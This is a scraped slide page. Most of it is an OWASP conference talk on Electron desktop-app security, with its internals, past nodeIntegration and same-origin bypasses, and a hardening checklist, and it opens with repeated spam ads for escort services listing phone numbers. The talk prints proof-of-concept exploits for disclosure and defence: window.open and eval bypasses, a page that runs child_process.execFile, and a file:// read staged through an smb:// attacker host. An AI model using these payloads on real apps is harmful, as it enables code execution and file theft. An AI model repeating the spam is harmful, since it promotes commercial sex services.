💚😋 Bilaspur Escort Service Call Girls, 9352852248 ₹5000 To 25K With AC💚😋💚😋 Bilaspur Escort Service Call Girls, 9352852248 ₹5000 To 25K With AC💚😋
💚😋 Bilaspur Escort Service Call Girls, 9352852248 ₹5000 To 25K With AC💚😋
 
Nanded City ( Call Girls ) Pune 6297143586 Hot Model With Sexy Bhabi Ready ...
Nanded City ( Call Girls ) Pune  6297143586  Hot Model With Sexy Bhabi Ready ...Nanded City ( Call Girls ) Pune  6297143586  Hot Model With Sexy Bhabi Ready ...
Nanded City ( Call Girls ) Pune 6297143586 Hot Model With Sexy Bhabi Ready ...
 
VIP Call Girls Himatnagar 7001035870 Whatsapp Number, 24/07 Booking
VIP Call Girls Himatnagar 7001035870 Whatsapp Number, 24/07 BookingVIP Call Girls Himatnagar 7001035870 Whatsapp Number, 24/07 Booking
VIP Call Girls Himatnagar 7001035870 Whatsapp Number, 24/07 Booking
 
Yerawada ] Independent Escorts in Pune - Book 8005736733 Call Girls Available...
Yerawada ] Independent Escorts in Pune - Book 8005736733 Call Girls Available...Yerawada ] Independent Escorts in Pune - Book 8005736733 Call Girls Available...
Yerawada ] Independent Escorts in Pune - Book 8005736733 Call Girls Available...
 
𓀤Call On 7877925207 𓀤 Ahmedguda Call Girls Hot Model With Sexy Bhabi Ready Fo...
𓀤Call On 7877925207 𓀤 Ahmedguda Call Girls Hot Model With Sexy Bhabi Ready Fo...𓀤Call On 7877925207 𓀤 Ahmedguda Call Girls Hot Model With Sexy Bhabi Ready Fo...
𓀤Call On 7877925207 𓀤 Ahmedguda Call Girls Hot Model With Sexy Bhabi Ready Fo...
 
Pirangut | Call Girls Pune Phone No 8005736733 Elite Escort Service Available...
Pirangut | Call Girls Pune Phone No 8005736733 Elite Escort Service Available...Pirangut | Call Girls Pune Phone No 8005736733 Elite Escort Service Available...
Pirangut | Call Girls Pune Phone No 8005736733 Elite Escort Service Available...
 
Dubai=Desi Dubai Call Girls O525547819 Outdoor Call Girls Dubai
Dubai=Desi Dubai Call Girls O525547819 Outdoor Call Girls DubaiDubai=Desi Dubai Call Girls O525547819 Outdoor Call Girls Dubai
Dubai=Desi Dubai Call Girls O525547819 Outdoor Call Girls Dubai
 
Call Girls in Prashant Vihar, Delhi 💯 Call Us 🔝9953056974 🔝 Escort Service
Call Girls in Prashant Vihar, Delhi 💯 Call Us 🔝9953056974 🔝 Escort ServiceCall Girls in Prashant Vihar, Delhi 💯 Call Us 🔝9953056974 🔝 Escort Service
Call Girls in Prashant Vihar, Delhi 💯 Call Us 🔝9953056974 🔝 Escort Service
 
VIP Model Call Girls NIBM ( Pune ) Call ON 8005736733 Starting From 5K to 25K...
VIP Model Call Girls NIBM ( Pune ) Call ON 8005736733 Starting From 5K to 25K...VIP Model Call Girls NIBM ( Pune ) Call ON 8005736733 Starting From 5K to 25K...
VIP Model Call Girls NIBM ( Pune ) Call ON 8005736733 Starting From 5K to 25K...
 
VVIP Pune Call Girls Sinhagad WhatSapp Number 8005736733 With Elite Staff And...
VVIP Pune Call Girls Sinhagad WhatSapp Number 8005736733 With Elite Staff And...VVIP Pune Call Girls Sinhagad WhatSapp Number 8005736733 With Elite Staff And...
VVIP Pune Call Girls Sinhagad WhatSapp Number 8005736733 With Elite Staff And...
 
20240508 QFM014 Elixir Reading List April 2024.pdf
20240508 QFM014 Elixir Reading List April 2024.pdf20240508 QFM014 Elixir Reading List April 2024.pdf
20240508 QFM014 Elixir Reading List April 2024.pdf
 
(+971568250507 ))# Young Call Girls in Ajman By Pakistani Call Girls in ...
(+971568250507  ))#  Young Call Girls  in Ajman  By Pakistani Call Girls  in ...(+971568250507  ))#  Young Call Girls  in Ajman  By Pakistani Call Girls  in ...
(+971568250507 ))# Young Call Girls in Ajman By Pakistani Call Girls in ...
 

[OWASP Poland Day] A study of Electron security

  • 1. A Study of Electron Security 
 # OWASPPolandDay 02.10 Luca Carettoni - luca@doyensec.com
  • 2. About me • AppSec since 2004 • Doyensec Co-founder • Former Lead of AppSec (LinkedIn), Director of Security (Addepar), Senior Security Researcher (Matasano), ….
  • 3. Agenda 1. Electron Overview 2. Ecosystem 3. Security Model 4. Attack Surface 5. Apps Security Checklist 6. Conclusion
 
 Use #Electronegativity for comments/questions!
  • 4. Thanks to: • Electron Core and Github Security Teams • For the best disclosure experience in 15 years of vulnerability research
 • Claudio Merloni • For the help on Electronegativity code
  • 6. https://electron.atom.io/ “If you can build a website, you can build a desktop app” • OpenSource framework to build desktop apps using HTML, CSS and JavaScript
 
 • Maintained by 

  • 7. Principles • Cross-platform. Runtime with self-contained dependencies • Modular. To facilitate re-use and keep Electron small and simple • Easy to use. You shouldn’t worry about installers, profiling, debugging, notifications, updates, …
  • 8. Back and forth • Web Development is fun, but… • Conditional rules for all different browsers and versions • Limited I/O with the OS • Performance and network latency
  • 10. Anatomy of Electron-based Apps Libchromiumcontent Node.js Electron Your App npm npm npm npm npm npm npm
  • 11. Lifecycle package.json main process render process render process render process … HTML CSS JS app.asar main.js render.js
  • 12. Processes Main BrowserWindow Menu, Tray, … ipcMain Renderer Node.js API webFrame DOM ipcRenderer <webview> Node.js API creates communicates
  • 13. IpcMain and ipcRenderer 1/2 • Synchronous and Asynchronous messages from the renderer (web page) to the main process
 // Main const {ipcMain} = require('electron') ipcMain.on('synchronous-message', (event, arg) => { console.log(arg) event.returnValue = 'pong' }) // Renderer const {ipcRenderer} = require('electron') console.log(ipcRenderer.sendSync('synchronous-message', 'ping'))
  • 14. IpcMain and ipcRenderer 2/2 • Interestingly, this is also used for implementing native Electron APIs • /lib/browser/rpc-server.js
  • 16. Many Electron-based Apps …and 350* more * Registered on https://electron.atom.io/apps/
  • 17. Electron ♥ NPM • So, you can import custom NPM modules • ~Half a million packages of vulnerable reusable code • “LeftPad broke the Internet” • “How I obtained publish access to 14% of npm packages (including popular ones)” by @ChALkeR • There are also Electron-specific modules: • Tools • Boilerplates • Components
  • 19. Browser Security Model “Several experts have told me in all seriousness that browser security models are now so complex that I should not even write a section about this”
 Threat Modeling - Adam Shostack
  • 22. From Browser to Electron - Malicious Content • Untrusted content from the web • Limited interaction, compared to a browser • E.g. opening a <webview> with a remote origin
 • Untrusted local resources • Extended attack surface • E.g. loading subtitle files

  • 23. • Potential access to Node.js primitives • Limited Chrome-like sandbox • From XSS to RCE • Exploits are reliable
 From Browser to Electron - Isolation
  • 24. Electron is NOT a browser • While it is based on Chromium’s Content module, certain principles and security mechanisms implemented by modern browsers are not enforced in today’s Electron • Things will change in Electron v2.x
  • 25. nodeIntegration / nodeIntegrationInWorker • Control whether access to Node.js primitives is allowed from JavaScript • Part of webPreferences • In recent versions, Chrome’s Isolated Worlds is used • New v8 context with proxies to the window and document object (ro)
  • 27. Renderer Isolation 1. BrowserWindow (nodeIntegration enabled by default)
 
 mainWindow = new BrowserWindow({
 “webPreferences”: {
 “nodeIntegration” : false,
 “nodeIntegrationInWorker” : false }});
 2. <webview> tag (nodeIntegration disabled by default)
 <webview id="foo" src="https://www.doyensec.com/"></webview>
  • 28. Sandboxing 1/2 • nodeIntegration disabled is not enough • sandbox • Currently supports BrowserWindow only • Experimental feature • This will allow renderer to run inside a native Chromium OS sandbox • All communication via IPC to the main process • When sanbox is enabled, nodeintegration is disabled
  • 29. Sandboxing 2/2 • Sandboxing needs to be explicitly enabled:
 
 mainWindow = new BrowserWindow({
 “webPreferences”: {
 “sandbox” : true}}); • To enable it for all BrowserWindow instances, a command line argument is necessary: 
 $ electron --enable-sandbox app.js
  • 30. Resistance is futile • Preload scripts still have access to few modules • child_process, crashReporter, remote, ipcRenderer, fs, os, times, url
 1. Sandbox bypass in preload scripts using remote 
 
 app = require('electron').remote.app
 2. Sandbox bypass in preload scripts using internal Electron IPC messages 
 
 {ipcRenderer} = require('electron')
 app = ipcRenderer.sendSync('ELECTRON_BROWSER_GET_BUILTIN', 'app')
  • 31. ContextIsolation • This flag introduces JavaScript context isolation for preload scripts, as implemented in Chrome Content Scripts • Preload scripts still have access to global variables (ro)
 
 
 win = new BrowserWindow({ webPreferences: { contextIsolation: true, preload: 'preload.js' }})
  • 33. Electron App Attack Surface Libchromiumcontent Foundation • Outdated vulnerable versions • Runtime Flags Node.js Electron Framework • Outdated vulnerable versions • Glorified APIs • Custom Flags Your App npmDependencies • Vulnerable or unmaintained NPM Custom Code • Insecure use of APIs • Untrusted resources • Custom protocol handlers • Preload scripts • TLS validation disabled • … npm npm npm npm npm npm
  • 34. Focus of my research Libchromiumcontent Foundation • Outdated vulnerable versions • Runtime Flags Node.js Electron Framework • Outdated vulnerable versions • Glorified APIs • Custom Flags Your App npmDependencies • Vulnerable or unmaintained NPM Custom Code • Insecure use of APIs • Untrusted resources • Custom protocol handlers • Preload scripts • TLS validation disabled • … npm npm npm npm npm npm
  • 35. Foundation - Outdated Chromium and Node.js • Electron-dev community is well aware • They’ve established an upgrade policy*: • ~2 weeks after new stable Chrome • ~4 weeks after new Node.js • V8 upgrades already there * see https://electron.atom.io/docs/faq/#when-will-electron-upgrade-to- latest-chrome “This estimate is not guaranteed and depends on the amount of work involved with upgrading”
  • 36. Foundation - Outdated Chromium and Node.js • Keeping track of all changes is hard • Making sure that all security changes have been back-ported is even harder
  • 37. • On 2017-02-21, Node 7.6.0 release included the following pull request: 
 • Until May, Electron was still on Node 7.4.0 • Notified the team on May 12, 2017 • Fixed in v1.6.11 on May 25, 2017 I ♥ ChangeLogs
  • 38. Another example - A recent Chromium RCE • On August 16, 2017, SecuriTeam published “Chrome Turbofan Remote Code Execution” • Full technical details and exploit • Affects Chrome browser version 59 only. Won’t fix for Google, since version 60 isn’t affected • However, Electron shipped with libchromiumcontent v59.x • Fixed on September 27, 2017 in Electron 1.7.8 and 1.6.14 • You should update Electron to the latest release ASAP!
  • 39. Framework - Weaknesses and bugs • Framework level bugs are particularly interesting: 1. Deviations from browser principles and security mechanisms 2. Implementation bugs • Mostly discovered reading source code and documentation
  • 40. Framework - Outdated vulnerable versions • Apps are shipped with a build of Electron • nodeIntegration bypasses are golden tickets: 1. Find XSS 2. Exploit the nodeIntegration bypass 3. Use Node.js APIs to obtain reliable RCE
  • 41. History of nodeIntegration bypasses • Limited disclosure of this type of vulnerabilities • “As it stands Electron Security” by Dean Kerr - 9 March 2016
 • Window.Open - Fixed in v0.37.4 (Issue 4026) • Credit: Jeffrey Wear
 <script> window.open(“http://x.x.x.x/index.html”, "","nodeIntegration=1"); </script>
 • WebView Attribute - Fixed in v0.37.8 (Issue 3943) • Credit: Cheng Zhao
 <webview nodeintegration src=“http://x.x.xx/index.html”></webview>
  • 42. Have I told you that I ♥ ChangeLogs? • Goal: study all past vulnerabilities
 • Starting from Electron v1.3.2, each release includes changelog entries • Reverse psychology before reverse engineering Never 
 Look 
 Here
  • 43. Spot the security fix 1/2
  • 44. Spot the security fix 2/2
  • 45. Results: • v1.4.15: The webview element now emits the context-menu event from the underlying webContents object • v1.4.11: Fixed an issue where window.alert, window.close, and window.confirm did not behave as expected • v1.3.13: Fixed an issue where window.alert, window.close, and window.confirm did not behave as expected • v1.4.10: Fixed an issue where the window.opener API did not behave as expected • v1.3.12: Fixed an issue where the window.opener API did not behave as expected • v1.4.7: Fixed an issue where the window.opener API did not behave as expected • v1.3.9: Fixed an issue where the window.opener API did not behave as expected • v0.37.8: Disable node integration in webview when it is disabled in host page • v0.37.4: Disable node integration in child windows opened with window.open when node integration is disabled in parent window
  • 46. Electron core team is awesome!
  • 47. Case Study: v1.3.9 Changes • Protip: reversing a back-port is easier, smaller diff
 • Included code changes to check whether the sender is parent of target, nodeIntegration is enabled and same origin • So it had something to do with window.open without Node, but enabled in the parent 
 • Proof-of-Concept:
 <script>
 window.opener.eval(‘window.open(“http://x.x.x.x/foo.html”,””,"nodeIntegration=yes")');
 </script>
  • 48. We’re on 1.6.x • Apparently, no universal bypasses fixed in recent versions
 • Started reading the documentation and realized that I could bypass SOP with:
 <!— SOP Bypass #1 —>
 <script> const win = window.open("https://www.google.com"); win.location = "javascript:alert(document.domain)"; </script>
 <!— SOP Bypass #2 —> 
 <script> const win = window.open("https://www.google.com"); win.eval(“alert(document.domain)"); </script>
  • 49. BrowserWindowProxy and Eval • A good example of Electron’s “Glorified” APIs • When you open a new window with open(), Electron returns a BrowserWindowProxy object Parent Child 1 - window.open() 2 - BrowserWindowProxy obj 3 - window.eval(js_code) 4 - js_code
  • 50. SOP-Bypass As a Feature • The current implementation does not strictly enforce the Same-Origin Policy • Still work in progress • https://github.com/electron/electron/pull/8963 • Chromium —disablewebsecurity flag exists, but it’s kind of irrelevant
  • 51. SOP2RCE • How can we leverage the SOP-bypass to obtain code execution?
 • lib/renderer/init.js
  • 52. PoC - Reported on May 10
 Fixed in v1.6.8 <!DOCTYPE html> <html> <head> <title>Electron 1.6.7 BrowserWindowProxy SOP -> RCE</title> </head> <body> <script> document.write("Current location:" + window.location.href + "<br>"); const win = window.open(“chrome-devtools://devtools/bundled/inspector.html"); win.eval("const execFile = require('child_process').execFile; const child = execFile('touch', ['/tmp/electronegativity'], (error, stdout, stderr) => {});”); </script> </body> </html>
  • 53.
  • 54. Framework - “Glorified” APIs • Electron extends the default JavaScript APIs • nodeIntegration doesn’t affect this behavior • However, sandboxed renderers are supposed to have native Chromium-like APIs • Current implementation does not revert the behavior of ALL “glorified” APIs
  • 55. Example: HTML5 File path attribute • HTML5 File API capabilities was extended in Electron with the path attribute • Path exposes the file’s real path on the fs
 • For reference, modern browsers do limit path exposure during files upload • E.g. IE8 replaces the filename property with a bogus value c:fakepathfile.txt
  • 56. Framework - “Glorified” APIs bug • The extended behavior is still exposed even when sandbox:true • A remote origin could leverage this bug to leak the full path and username • Reported on May 10th, still open
  • 57.
  • 58. Framework - Deviations from browser standards • SOP enforcement • Fewer restrictions around privacy and secure UX • file:// handler can be abused to read arbitrary files
  • 59. Example: HTML5 Media Capture API • HTML5 allows access to local media devices, thus making possible to record video and audio • Browsers have implemented notification to inform the user that a remote site is capturing the webcam stream
  • 60. HTML5 Media Capture API in Electron • Electron does not display any notification • XSS on Electron apps can be leveraged to silently capture screenshots, video and audio recording
  • 61. file:// handler abuse • Untrusted page can read local resources without user interaction • Open issue 
 https://github.com/electron/electron/issues/5151
 window.open("smb://guest:guest@attackersite/public/"); setTimeout(function(){ window.open("file:///Volumes/public/test.html"); }, 10000); <!— test.html —> <iframe src="file:///etc/hosts" onload=“alert(this.contentDocument.body.innerHTML)"></iframe>
  • 62.
  • 63. 5. Electron-based Apps 
 Security Checklist 
 

  • 64. Custom Code - Vulnerabilities in your app • On top of what we discussed so far, there are also application vulnerabilities • Traditional web vulnerabilities • Insecure use of Electron’s APIs • Wrong assumptions (Browser vs Electron)
  • 65. Our practical checklist 1. Disable nodeIntegration for untrusted origins 2. Use sandbox for untrusted origins 3. Review the use of command line arguments 4. Review the use of preload scripts 5. Do not use disablewebsecurity 6. Do not allow insecure HTTP connections 7. Do not use Chromium’s experimental features 8. Limit navigation flows to untrusted origins 9. Use setPermissionRequestHandler for untrusted origins 10. Do not use insertCSS, executeJavaScript or eval with user-supplied content 11. Do not allow popups in webview 12. Review the use of custom protocol handlers 13. Review the use of openExternal
  • 66. Electronegativity • Download our checklist white-paper at: 
 https://www.doyensec.com/research.html • To facilitate secure development and security testing, we are also releasing a tool • Leverages AST parsing to look for all issues discussed in the checklist • Electronegativity code will be available soon!
  • 68. Conclusions • Hopefully, our study will lead to more secure Electron apps • Today’s Electron is not secure (by default) to render untrusted content: • Having a good understanding of Electron’s internals, secure apps can be built • v2.x is expected to be the security game-changer
  • 69. Future Work • Electron vs Muon • Leverage Electronegativity to understand the state of Electron Apps security • More vulnerability research on Electron
  • 70. Thanks! • Feel free to reach out • @lucacarettoni • luca@doyensec.com